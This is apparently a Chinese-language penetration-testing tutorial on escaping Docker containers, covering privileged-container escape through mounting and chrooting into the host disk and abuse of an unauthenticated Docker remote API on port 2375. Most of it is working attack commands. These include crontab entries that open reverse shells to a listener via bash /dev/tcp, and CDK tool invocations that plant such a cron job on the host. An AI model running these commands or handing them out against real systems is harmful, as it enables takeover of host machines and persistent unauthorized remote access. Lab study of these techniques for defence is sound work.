Privileged特权模式容器逃逸
1. 环境搭建
使用 --privileged=true 创建一个容器
docker run --rm --privileged=true -it alpine
2. 漏洞检测
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
3. 漏洞复现
查看挂载磁盘设备
fdisk -l
能访问device了逃到宿主机也很简单,先将其挂载到容器中,然后使用chroot获取一个以宿主机根目录为根目录的shell来拿到宿主机的权限。
mkdir /tmp/mnt
mount /dev/sda1 /tmp/mnt
cd /tmp/mnt
chroot ./ bash
reverse shell
工具使用
我们使用CDK进行容器逃逸
项目地址:https://github.com/cdk-team/CDK/releases/
执行
./cdk eva
发现存在特权容器,可以进行逃逸
执行逃逸命令,把设备/dev/sda1挂载到临时目录
./cdk run mount-disk
切换到到临时目录,可以看到宿主机的目录
cd /tmp/cdk_JdRfw
Docker 远程 API 未授权访问逃逸
docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
1. 环境搭建
将 docker 守护进程监听在 0.0.0.0
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
2. 漏洞检测
curl http://192.168.159.205:2375/version
3. 漏洞复现
列出容器信息
curl http://192.168.159.205:2375/containers/json
查看容器
docker -H tcp://192.168.159.205:2375 ps -a
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://192.168.159.205:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
如果靶机是Ubuntu
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.159.204/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
如果靶机是centos
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.159.204/12345 0>&1' >> /mnt/var/spool/cron/root
本地监听端口,获取对方宿主机shell。
工具使用
我们使用cdk利用Docker 远程 API 未授权访问漏洞
项目地址:https://github.com/cdk-team/CDK/releases/
攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/
到容器内部/host
,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
./cdk run docker-api-pwn http://192.168.159.205:2375 "touch /host/tmp/pwn-success"
在靶机上查看创建的文件
我们还可以执行计划任务反弹shell
/cdk run docker-api-pwn http://192.168.159.205:2375 "echo '*/1 * * * * bash -i >& /dev/tcp/192.168.159.189/12345 0>&1' >> /host/var/spool/cron/root"
成功获取到shell